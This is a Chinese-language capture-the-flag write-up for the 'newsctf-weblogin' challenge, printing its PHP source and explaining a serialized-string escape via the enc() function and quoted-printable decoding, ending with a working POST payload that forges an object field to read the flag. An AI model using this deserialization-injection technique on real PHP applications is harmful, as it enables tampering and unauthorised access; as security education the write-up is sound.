newsctf-weblogin

代码:

<?php
session_start();
error_reporting(0);
highlight_file(__FILE__);

class Action {

    public $data;
    public $username;
    public $password;
    public $datafile;
    public $act;
    
    function __construct($username,$password,$datafile,$act){
        $this->username = $username;
        $this->password = $password;
        $this->datafile = $datafile;
        $this->act = $act;
    }
    function check_login(){
        $file = $this->datafile.'.data';
        $data = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)))->data;
        if (isset($data[$this->username])){
            if ($data[$this->username] === $this->password){
                $_SESSION['is_login'] = ture;
                $_SESSION['username'] = $this->username;
                echo '<script>alert("登录成功");window.location.href="/";</script>';
            }
            else{
                echo '<script>alert("密码错误");window.location.href="/index.php/login";</script>';
                die();
            }
        }
        else{
            echo '<script>alert("用户名错误");window.location.href="/index.php/login";</script>';
            die();
        }
    }
    function registerd(){
        $file = $this->datafile.'.data';
        if(!file_exists($file)){
            $p = new Action('','','','');
            $p->data = array();
            file_put_contents($file,enc(serialize($p)));
        }
        
        $p = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)));
        $data = $p->data;
        if(isset($data[$this->username])){
            echo '<script>alert("该用户已注册");window.location.href="/index.php/register";</script>';
        } 
        else{
            $p = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)));
            $p->data[$this->username] = $this->password;
            file_put_contents($file, enc(serialize($p)));
            echo '<script>alert("注册成功");window.location.href="/index.php/login";</script>';
        }
    }

    function __destruct(){
        if ($_SESSION['is_login']){
            echo '<script>alert("该用户已登录");window.location.href="/";</script>';
        }
        else{
            if ($this->act === 'login'){
                $this->check_login();
            }
            if ($this->act === 'register'){
                $this->registerd();
            }
        }
    }
}



class Delete{
    public $username;
    public $password;
    public $datafile;
    
    function __construct($datafile,$username,$password){
        $this->username = $username;
        $this->password = $password;
        $this->datafile = $datafile; 
    }
    
    function deleted(){
        $file = $this->datafile.'.data';
        if($this->username!==''&&$this->password!==''){
            $data = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)))->data;
            if(!isset($data[$this->username])){
            echo '<script>alert("该用户不存在");window.location.href="/index.php/delete";</script>';
            }
            else{
                $p = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)));
                $data = $p->data;
                if ($data[$this->username] === $this->password){
                    unset($p->data[$this->username]);
                    file_put_contents($file,enc(serialize($p)));
                    echo '<script>alert("该用户注销成功");window.location.href="/index.php/delete";</script>';
                }
                else{
                    echo '<script>alert("密码错误");window.location.href="/index.php/delete";</script>';
                }
            } 
        }
        else {
            $p = new Action('','','','');
            $p->data = array();
            file_put_contents($file,enc(serialize($p)));
            echo '<script>alert("重置成功");window.location.href="/index.php/login";</script>';    
        }
    }

    function __destruct(){
        
        $this->deleted();
    }
}
class Logout{
    function __destruct(){
        unset($_SESSION['is_login']);
        echo '<script>alert("登出成功");window.location.href="/index.php/login";</script>';    
    }
}
function route($uri, Closure $_route)
{
    $pathInfo = $_SERVER['REQUEST_URI'] ?? '/';
    $pathInfo = preg_replace('/\?.*?$/is', '', $pathInfo);
    if (preg_match('#^' . $uri . '$#', $pathInfo, $matches)) {
        $_route($matches);
        exit(0);
    }
}
function enc($str){
    $_str = '';
    for($i=0;$i<strlen($str);$i++){
        if ($str[$i] !== '='){
            $_str = $_str.'='.dechex(ord($str[$i]));
        }else{
            $_str = $_str.$str[$i].$str[$i+1].$str[$i+2];
            $i = $i+2;
        }
    }
    return $_str;
}

function filter($str){
    return preg_replace('/o:/', 'O:', $str);

}

route('/index.php/login', function () {
    $username = $_POST['username']??'';
    $password = $_POST['password']??'';
    if($username&&$password){
        new Action($username,$password,'user_'.md5($_SERVER['REMOTE_ADDR']),'login');
    }
});

route('/index.php/register', function () {
    $username = $_POST['username']??'';
    $password = $_POST['password']??'';
    if($username&&$password){
        new Action($username,$password,'user_'.md5($_SERVER['REMOTE_ADDR']),'register');
    }
});

route('/index.php/logout', function () {
    new Logout();
});

route('/index.php/delete', function () {
    if(isset($_POST['username'])&&isset($_POST['password'])){
        new Delete('user_'.md5($_SERVER['REMOTE_ADDR']),$_POST['username'],$_POST['password']);
    }
});

route('/', function () {
    if (!$_SESSION['is_login']){
    echo '<script>alert("请先登录");window.location.href="/index.php/login";</script>';
    }
    echo '<h1>hello '.$_SESSION['username'].'</h1>';
});
route('/index.php/flag', function () {
    echo $_SERVER['REMOTE_ADDR'].'</br>';
    $flaag = 'flag'.md5($_SERVER['REMOTE_ADDR']);
    echo($flaag.'</br>');
    include('flag.php');
    $list = scandir('./');
        foreach ($list as $file) {
            if ($file ===  $flaag.'.data'){
                echo $flag;
            }
        }
}); 

 

1、路由/index.php/flag

route('/index.php/flag', function () {
    echo $_SERVER['REMOTE_ADDR'].'</br>';
    $flaag = 'flag'.md5($_SERVER['REMOTE_ADDR']);
    echo($flaag.'</br>');
    include('flag.php');
    $list = scandir('./');
        foreach ($list as $file) {
            if ($file ===  $flaag.'.data'){
                echo $flag;
            }
        }
});

会将ip输出,在flag的md5值前面加上字符串flag,然后通过scandir列出当前目录下的文件,如果有当前ip地址的md5值的.data文件就会输出flag。('flag'+'md5(ip地址)'+'.date')

 

2、enc函数

function enc($str){
    $_str = '';
    for($i=0;$i<strlen($str);$i++){
        if ($str[$i] !== '='){
            $_str = $_str.'='.dechex(ord($str[$i]));
        }else{
            $_str = $_str.$str[$i].$str[$i+1].$str[$i+2];
            $i = $i+2;
        }
    }
    return $_str;
} 

这里会对数据进行加密,对数据进行遍历,如果该字符不全等于'=',就会将其转换为'='+(该字符的十六进制),但是由于这里的字符全等于'=',那么对这个以及后面的两个字符保持不变。所以这里就产生了字符串逃逸。如果使用file_put_contents()函数写入的数据已经是用enc函数加密过的话,那么再经过‘php://filter/read=convert.quoted-printable-decode/resource=’ 伪协议之后,每三个字符串就会变成一个字符串。

 

 

 

 

 3、注册路由/index.php/register

route('/index.php/register', function () {
    $username = $_POST['username']??'';
    $password = $_POST['password']??'';
    if($username&&$password){
        new Action($username,$password,'user_'.md5($_SERVER['REMOTE_ADDR']),'register');
    }
}); 

如果post传入了username和password变量之后就会实例化一个Action对象。

类Action中的register函数:

function registerd(){
        $file = $this->datafile.'.data';
        if(!file_exists($file)){
            $p = new Action('','','','');
            $p->data = array();
            file_put_contents($file,enc(serialize($p)));
        }
        
        $p = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)));
        $data = $p->data;
        if(isset($data[$this->username])){
            echo '<script>alert("该用户已注册");window.location.href="/index.php/register";</script>';
        } 
        else{
            $p = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)));
            $p->data[$this->username] = $this->password;
            file_put_contents($file, enc(serialize($p)));
            echo '<script>alert("注册成功");window.location.href="/index.php/login";</script>';
        }
    } 

反序列化之后如果$p->data[$this->username]不存在就会将$this->password赋值给$p->[$this->username]。

username='1jzz' password='1jzz',正常注册

class Action {
   public $data=array('1jzz'=>'1jzz');
    public $username='1jzz';
    public $password='1jzz';
    public $datafile='user_'; //'user_'.md5($_SERVER['REMOTE_ADDR'])
    public $act='register'; //'register'
}
class Action {

    public $data=array('=60=60=60=60'=>';s:4:"1jzz";}s:8:"username";s:4:"1jzz";s:8:"password";s:4:"1jzz";s:8:"datafile";s:36:"flagb673987bf704bda11cdc921cd26b6958";s:3:"act";s:8:"register";}
');
    public $username='1jzz';
    public $password='1jzz';
    public $datafile='user_'; //'user_'.md5($_SERVER['REMOTE_ADDR'])
    public $act='register'; //'register'
}

反序列化:

O:6:"Action":5:{s:4:"data";a:1:{s:12:"=60=60=60=60";s:152:";s:4:"1jzz";}s:8:"username";s:4:"1jzz";s:8:"password";s:4:"1jzz";s:8:"datafile";s:36:"flagb673987bf704bda11cdc921cd26b6958";s:3:"act";s:8:"register";}";}s:8:"username";s:4:"1jzz";s:8:"password";s:4:"1jzz";s:8:"datafile";s:5:"user_";s:3:"act";s:8:"register";}
4个=60在读取文件之后将会变成4个`,就可以向后吞8个字符串,就变成了:
O:6:"Action":5:{s:4:"data";a:1:{s:12:"````";s:152:";s:4:"1jzz";}s:8:"username";s:4:"1jzz";s:8:"password";s:4:"1jzz";s:8:"datafile";s:36:"flagb673987bf704bda11cdc921cd26b6958";s:3:"act";s:8:"register";}";}s:8:"username";s:4:"1jzz";s:8:"password";s:4:"1jzz";s:8:"datafile";s:5:"user_";s:3:"act";s:8:"register";}

原本的内容"=60=60=60=60"则变成了"````";s152:" 。最后再在/index.php/flag路由中读取flag


payload:
username==60=60=60=60&password=;s:4:"1jzz";}s:8:"username";s:4:"1jzz";s:8:"password";s:4:"1jzz";s:8:"datafile";s:36:"flagb673987bf704bda11cdc921cd26b6958";s:3:"act";s:8:"register";}

 

posted @ 2021-06-08 22:57  1jzz  阅读(164)  评论(0编辑  收藏  举报